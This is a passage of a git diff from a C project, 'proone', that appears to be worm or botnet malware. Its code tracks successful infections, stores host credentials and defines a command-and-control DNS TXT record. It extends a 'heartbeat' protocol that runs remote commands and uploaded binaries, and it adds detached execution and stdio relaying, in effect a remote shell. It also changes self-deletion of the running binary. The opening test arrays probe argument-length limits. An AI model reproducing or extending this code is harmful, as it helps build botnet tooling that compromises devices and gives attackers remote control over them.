"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "12", NULL }; static char *too_long_mem_args[] = { - "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", - "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", - "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", - "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", - "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", + "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", + "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", + "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", + "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", + "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "12345678", NULL }; static prne_htbt_bin_meta_t bm_a, bm_b; @@ -147,7 +147,7 @@ static void test_ser (void) { assert(prne_htbt_dser_status(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &s_b) == PRNE_HTBT_SER_RC_OK); assert(prne_htbt_eq_status(&s_a, &s_b)); prne_htbt_free_status(&s_a); - prne_htbt_free_status(&s_b); + prne_htbt_free_status(&s_b); // empty cred // zero-size alloc diff --git a/src/proone-test_util.c b/src/proone-test_util.c index 43fc654..a5fac30 100644 --- a/src/proone-test_util.c +++ b/src/proone-test_util.c @@ -102,15 +102,15 @@ static void test_uuid (void) { uint8_t out_arr[16]; char out_str[37]; - memzero(out_arr, 16); - memzero(out_str, 37); + prne_memzero(out_arr, 16); + prne_memzero(out_str, 37); assert(prne_uuid_fromstr(sample_str, out_arr)); assert(memcmp(sample_arr, out_arr, 16) == 0); prne_uuid_tostr(out_arr, out_str); assert(memcmp(sample_str, out_str, 37) == 0); memset(out_arr, 0xFF, 16); - memzero(out_str, 37); + prne_memzero(out_str, 37); assert(prne_uuid_fromstr(empty_str, out_arr)); assert(memcmp(empty_arr, out_arr, 16) == 0); prne_uuid_tostr(out_arr, out_str); diff --git a/src/proone.c b/src/proone.c index cc3ae25..2973aaf 100644 --- a/src/proone.c +++ b/src/proone.c @@ -138,14 +138,10 @@ static void seed_ssl_rnd (const bool use_bent) { */ static int proone_main (void) { static int caught_sig; - static pid_t reaped; prne_assert(pth_init()); prne_g.main_pth = pth_self(); -#ifndef PRNE_DEBUG - signal(SIGPIPE, SIG_IGN); -#endif seed_ssl_rnd(true); alloc_workers(); @@ -156,14 +152,10 @@ static int proone_main (void) { do { prne_assert(pth_sigwait(&ss_all, &caught_sig) == 0); - if (caught_sig == SIGCHLD) { - do { - reaped = waitpid(-1, NULL, WNOHANG); - } while (reaped > 0); - continue; - } - else if (caught_sig == SIGINT) { - // Probably Ctrl + C. Wait for the parent to send SIGTERM. + switch (caught_sig) { + case SIGCHLD: // Not my child + case SIGINT: // Probably Ctrl + C. Wait for the parent to send SIGTERM. + case SIGPIPE: continue; } } while (false); @@ -185,24 +177,8 @@ static int proone_main (void) { } static void delete_myself (const char *arg0) { -#ifndef PRNE_DEBUG - static const char *proc_path = "/proc/self/exe"; - struct stat st; - const char *path_to_unlink = NULL; - char *path_buf = NULL; - - // get real path of myself - if (lstat(proc_path, &st) == 0 && (path_buf = (char*)prne_malloc(1, st.st_size + 1)) != NULL && readlink(proc_path, path_buf, st.st_size) == st.st_size) { - path_buf[st.st_size] = 0; - path_to_unlink = path_buf; - } - else { - // try to delete arg0 instead - path_to_unlink = arg0; - } - - unlink(path_to_unlink); - prne_free(path_buf); +#if defined(PRNE_DEBUG) + unlink(arg0); #endif } @@ -400,6 +376,10 @@ static void load_ssl_conf (void) { // set mutual auth // ignore expired cert (system wall clock might not be set) if (prne_g.s_ssl.ready) { + mbedtls_ssl_conf_rng( + &prne_g.s_ssl.conf, + mbedtls_ctr_drbg_random, + &prne_g.ssl.rnd); mbedtls_ssl_conf_ca_chain( &prne_g.s_ssl.conf, &prne_g.ssl.ca, NULL); @@ -412,6 +392,10 @@ static void load_ssl_conf (void) { NULL); } if (prne_g.c_ssl.ready) { + mbedtls_ssl_conf_rng( + &prne_g.c_ssl.conf, + mbedtls_ctr_drbg_random, + &prne_g.ssl.rnd); mbedtls_ssl_conf_ca_chain( &prne_g.c_ssl.conf, &prne_g.ssl.ca, @@ -491,7 +475,7 @@ static bool init_shared_global (void) { goto END; } - memzero(&skel, sizeof(skel)); + prne_memzero(&skel, sizeof(skel)); // Future code for new shared_global format goes here skel.rev = 0; @@ -516,7 +500,7 @@ static bool init_shared_global (void) { prne_dbgperr("* Failed to initialise shared global"); } else { - prne_s_g->ny_bin_name[0] = 0; + prne_s_g->ny_bin_path[0] = 0; } END: @@ -540,10 +524,10 @@ static void init_ids (void) { int fd = -1; if (mbedtls_ctr_drbg_random(&prne_g.ssl.rnd, prne_g.instance_id, sizeof(prne_g.instance_id)) != 0) { - memzero(prne_g.instance_id, sizeof(prne_g.instance_id)); + prne_memzero(prne_g.instance_id, sizeof(prne_g.instance_id)); } - memzero(prne_g.boot_id, 16); + prne_memzero(prne_g.boot_id, 16); do { // fake loop fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY); if (fd < 0) { @@ -601,6 +585,7 @@ int main (const int argc, const char **args) { sigaddset(&ss_all, SIGINT); sigaddset(&ss_all, SIGTERM); sigaddset(&ss_all, SIGCHLD); + sigaddset(&ss_all, SIGPIPE); prne_g.parent_start = prne_gettime(CLOCK_MONOTONIC); prne_g.resolv = NULL; @@ -626,8 +611,8 @@ int main (const int argc, const char **args) { init_proone(args[0]); /* inits that need outside resources. IN THIS ORDER! */ - load_ssl_conf(); seed_ssl_rnd(false); + load_ssl_conf(); init_ids(); if (!init_shared_global()) { prne_dbgpf("*** Another instance detected.\n"); @@ -678,10 +663,13 @@ int main (const int argc, const char **args) { case SIGCHLD: prne_assert(waitpid(prne_g.child_pid, &status, WNOHANG) == prne_g.child_pid); break; + case SIGPIPE: + prne_dbgpf("** Parent received SIGPIPE. WHAT???\n"); + continue; } } while (false); - has_ny_bin = strlen(prne_s_g->ny_bin_name) > 0; + has_ny_bin = strlen(prne_s_g->ny_bin_path) > 0; if (!(WIFEXITED(status) && WEXITSTATUS(status) == 0)) { prne_s_g->crash_cnt += 1; @@ -704,8 +692,8 @@ int main (const int argc, const char **args) { } if (has_ny_bin) { - unlink(prne_s_g->ny_bin_name); - prne_s_g->ny_bin_name[0] = 0; + unlink(prne_s_g->ny_bin_path); + prne_memzero(prne_s_g->ny_bin_path, sizeof(prne_s_g->ny_bin_path)); } sleep(1); diff --git a/src/proone.h b/src/proone.h index e551e14..700bd64 100644 --- a/src/proone.h +++ b/src/proone.h @@ -33,7 +33,7 @@ struct prne_global { // TODO: tidy init code when finalised uint16_t dvault_size; bool bin_ready; bool is_child; - + prne_bin_archive_t bin_archive; struct { @@ -66,13 +66,11 @@ struct prne_shared_global { // Number of successful infections. uint64_t infect_cnt; // null-terminated name of new binary - char ny_bin_name[256]; + char ny_bin_path[256]; + char ny_bin_args[1024]; char host_cred_data[256]; }; -static const intptr_t PRNE_RESOLV_WKR_ID = 0; -static const intptr_t PRNE_HTBT_WKR_ID = 1; - extern struct prne_global prne_g; // TODO: could be NULL on some environments diff --git a/src/proone_conf.skel/config.h b/src/proone_conf.skel/config.h new file mode 100644 index 0000000..c70c795 --- /dev/null +++ b/src/proone_conf.skel/config.h @@ -0,0 +1 @@ +#define PRNE_CNC_TXT_REC "CHANGE.ME.test" diff --git a/src/proone_conf.skel/x509.h b/src/proone_conf.skel/x509.h new file mode 100644 index 0000000..973540a --- /dev/null +++ b/src/proone_conf.skel/x509.h @@ -0,0 +1,6 @@ +#define PRNE_X509_CA_CRT { 0x00 } +#define PRNE_X509_DH { 0x00 } +#define PRNE_X509_S_CRT { 0x00 } +#define PRNE_X509_S_KEY { 0x00 } +#define PRNE_X509_C_CRT { 0x00 } +#define PRNE_X509_C_KEY { 0x00 } diff --git a/src/protocol.c b/src/protocol.c index bcbc4d1..51cbc15 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -189,9 +189,9 @@ void prne_htbt_init_host_info (prne_htbt_host_info_t *hi) { hi->infect_cnt = 0; hi->parent_pid = 0; hi->child_pid = 0; - memzero(hi->prog_ver, 16); - memzero(hi->boot_id, 16); - memzero(hi->instance_id, 16); + prne_memzero(hi->prog_ver, 16); + prne_memzero(hi->boot_id, 16); + prne_memzero(hi->instance_id, 16); hi->host_cred = NULL; hi->crash_cnt = 0; hi->arch = PRNE_ARCH_NONE; @@ -210,7 +210,7 @@ bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_str return false; } - memzero(ny_mem, cred_strlen + 1); + prne_memzero(ny_mem, cred_strlen + 1); prne_free(hi->host_cred); hi->host_cred = (char*)ny_mem; @@ -244,9 +244,10 @@ void prne_htbt_init_cmd (prne_htbt_cmd_t *cmd) { cmd->mem = NULL; cmd->args = NULL; cmd->argc = 0; + cmd->detach = false; } -bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const uint16_t argc, const size_t *args_len) { +bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const size_t argc, const size_t *args_len) { size_t i, str_size, pos, mem_len; char *mem = NULL; char **args = NULL; @@ -362,10 +363,20 @@ void prne_htbt_free_cmd (prne_htbt_cmd_t *cmd) { } bool prne_htbt_eq_cmd (const prne_htbt_cmd_t *a, const prne_htbt_cmd_t *b) { - return - a->mem_len == b->mem_len && + if (!(a->mem_len == b->mem_len && a->argc == b->argc && - memcmp(a->mem, b->mem, a->mem_len) == 0; + memcmp(a->mem, b->mem, a->mem_len) == 0)) + { + return false; + } + + for (size_t i = 0; i < a->argc; i += 1) { + if (!prne_nstreq(a->args[i], b->args[i])) { + return false; + } + } + + return true; } void prne_htbt_init_bin_meta (prne_htbt_bin_meta_t *nb) { @@ -385,6 +396,21 @@ bool prne_htbt_eq_bin_meta (const prne_htbt_bin_meta_t *a, const prne_htbt_bin_m prne_htbt_eq_cmd(&a->cmd, &b->cmd); } +void prne_htbt_init_stdio (prne_htbt_stdio_t *s) { + s->len = 0; + s->err = false; + s->fin = false; +} + +void prne_htbt_free_stdio (prne_htbt_stdio_t *s) {} + +bool prne_htbt_eq_stdio (const prne_htbt_stdio_t *a, const prne_htbt_stdio_t *b) { + return + a->len == b->len && + a->err == b->err && + a->fin == b->fin; +} + prne_htbt_ser_rc_t prne_htbt_ser_msg_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_msg_head_t *in) { uint16_t id; @@ -526,6 +552,24 @@ prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (uint8_t *mem, const size_t mem_len, s return PRNE_HTBT_SER_RC_OK; } +prne_htbt_ser_rc_t prne_htbt_ser_stdio (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_stdio_t *in) { + *actual = 2; + if (in->len > PRNE_HTBT_STDIO_LEN_MAX) { + return PRNE_HTBT_SER_RC_FMT_ERR; + } + if (mem_len < *actual) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + + mem[0] = + (in->err ? 0x80 : 0) | + (in->fin ? 0x40 : 0) | + (prne_getmsb16(in->len, 0) & 0x0F); + mem[1] = prne_getmsb16(in->len, 1); + + return PRNE_HTBT_SER_RC_OK; +} + prne_htbt_ser_rc_t prne_htbt_dser_msg_head (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_msg_head_t *out) { *actual = 3; @@ -635,59 +679,55 @@ prne_htbt_ser_rc_t prne_htbt_dser_host_info (const uint8_t *data, const size_t l } prne_htbt_ser_rc_t prne_htbt_dser_cmd (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out) { - uint_fast16_t args_len, argc = 0; + size_t args_len, argc; char **args = NULL; char *mem = NULL; prne_htbt_ser_rc_t ret = PRNE_HTBT_SER_RC_OK; - size_t i, str_len; - char *ptr; + int saved_errno; *actual = 2; if (len < *actual) { return PRNE_HTBT_SER_RC_MORE_BUF; } - args_len = prne_recmb_msb16(0x0F & data[0], data[1]); + args_len = prne_recmb_msb16(0x03 & data[0], data[1]); *actual += args_len; if (len < *actual) { return PRNE_HTBT_SER_RC_MORE_BUF; } - if (args_len > PRNE_HTBT_ARG_MEM_MAX || (args_len > 0 && data[args_len + 1] != 0)) { - return PRNE_HTBT_SER_RC_FMT_ERR; - } - - for (i = 0; i < args_len; i += 1) { - if (data[2 + i] == 0) { - argc += 1; - if (argc > PRNE_HTBT_ARGS_MAX) { - return PRNE_HTBT_SER_RC_FMT_ERR; - } - } - } - args = (char**)prne_malloc(sizeof(char*), argc + 1); mem = (char*)prne_malloc(1, args_len); - if (args == NULL || mem == NULL) { + if (mem == NULL) { ret = PRNE_HTBT_SER_RC_ERRNO; goto END; } - memcpy(mem, data + 2, args_len); - ptr = mem; - for (i = 0; i < argc; i += 1) { - str_len = strlen(ptr); - args[i] = ptr; - ptr += str_len + 1; + saved_errno = errno; + errno = 0; + args = prne_htbt_parse_args( + mem, + args_len, + 0, + NULL, + &argc, + PRNE_HTBT_ARGS_MAX); + if (args == NULL) { + ret = + errno != 0 ? + PRNE_HTBT_SER_RC_ERRNO : + PRNE_HTBT_SER_RC_FMT_ERR; + goto END; } - args[argc] = NULL; + errno = saved_errno; prne_htbt_free_cmd(out); out->mem = mem; out->mem_len = args_len; out->args = args; out->argc = argc; + out->detach = (0x04 & data[0]) != 0; mem = NULL; args = NULL; @@ -715,3 +755,65 @@ prne_htbt_ser_rc_t prne_htbt_dser_bin_meta (const uint8_t *data, const size_t le return PRNE_HTBT_SER_RC_OK; } + +prne_htbt_ser_rc_t prne_htbt_dser_stdio (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_stdio_t *out) { + *actual = 2; + if (len < *actual) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + + out->err = (data[0] & 0x80) != 0; + out->fin = (data[0] & 0x40) != 0; + out->len = prne_recmb_msb16(data[0] & 0x0F, data[1]); + + return PRNE_HTBT_SER_RC_OK; +} + +char **prne_htbt_parse_args (char *m_args, const size_t args_size, const size_t add_argc, char **add_args, size_t *argc, const size_t max_args) { + char *ptr, *end = m_args + args_size, *next; + size_t i, cnt; + char **ret; + + cnt = 0; + ptr = m_args; + while (ptr < end) { + next = prne_strnchr(ptr, 0, end - ptr); + if (next == NULL) { + return NULL; // reject non-null-terminated + } + else { + if (next - ptr > 0) { + cnt += 1; + } + ptr = next + 1; + } + } + cnt += add_argc; + if (cnt > max_args) { + return NULL; + } + + ret = (char**)prne_malloc(sizeof(char*), cnt + 1); + if (ret == NULL) { + return NULL; + } + ret[cnt] = NULL; + if (argc != NULL) { + *argc = cnt; + } + + for (i = 0; i < add_argc; i +=1) { + ret[i] = add_args[i]; + } + + ptr = m_args; + while (ptr < end) { + next = prne_strnchr(ptr, 0, end - ptr); + if (next - ptr > 0) { + ret[i++] = ptr; + } + ptr = next + 1; + } + + return ret; +} diff --git a/src/protocol.h b/src/protocol.h index 09fa837..0b49f78 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -15,6 +15,7 @@ typedef struct prne_htbt_host_info prne_htbt_host_info_t; typedef struct prne_htbt_msg_head prne_htbt_msg_head_t; typedef struct prne_htbt_cmd prne_htbt_cmd_t; typedef struct prne_htbt_bin_meta prne_htbt_bin_meta_t; +typedef struct prne_htbt_stdio prne_htbt_stdio_t; typedef enum { PRNE_ARCH_NONE = -1, @@ -59,8 +60,9 @@ struct prne_host_cred { char *pw; }; -/* All messages start with uint16_t 'msg_id', whose most significant bit is used -* to indicate whether the message is a initiation(1) or a response(0). +/* Heartbeat Frame OP Codes +* All messages start with uint16_t 'msg_id', whose most significant bit is +* used to indicate whether the message is a initiation(1) or a response(0). * 'msg_id' is a randomly generated by either end of connection. The value 0 is * only valid for `PRNE_HTBT_OP_NOOP`(so that NOOP message is either 23 or 24 * zeros over the wire). @@ -78,7 +80,7 @@ typedef enum { * uint8_t code: prne_htbt_status_t * int32_t err: errno value(used for `PRNE_HTBT_STATUS_ERRNO`) */ - PRNE_HTBT_OP_STATUS, + PRNE_HTBT_OP_STATUS, /* Host Info Operation: followed by nothing * * The submissive end's response format: @@ -120,8 +122,9 @@ typedef enum { * TODO * * Followed by - * uint4_t rsv - * uint12_t args_len : the length of 'args' + * uint5_t rsv + * uint1_t detach + * uint10_t args_len : the length of 'args' * char args[len] : the series of null-terminated string for exec*() */ PRNE_HTBT_OP_RUN_CMD, @@ -130,8 +133,9 @@ typedef enum { * * Followed by: * uint24_t bin_len - * uint4_t rsv - * uint12_t args_len + * uint5_t rsv + * uint1_t detach + * uint10_t args_len * char args[args_len] * uint8_t bin[bin_len] */ @@ -141,12 +145,21 @@ typedef enum { * * Followed by: * uint24_t bin_len - * uint4_t rsv - * uint12_t args_len + * uint5_t rsv + * uint1_t detach + * uint10_t args_len * char args[args_len] * uint8_t bin[bin_len] */ PRNE_HTBT_OP_RUN_BIN, + /* STDIO Frame + * + * uint1_t err : 0 - stdin/stdout, 1 - stderr + * uint1_t fin + * uint2_t rsv + * uint12_t len + */ + PRNE_HTBT_OP_STDIO, NB_PRNE_HTBT_OP } prne_htbt_op_t; @@ -154,6 +167,7 @@ 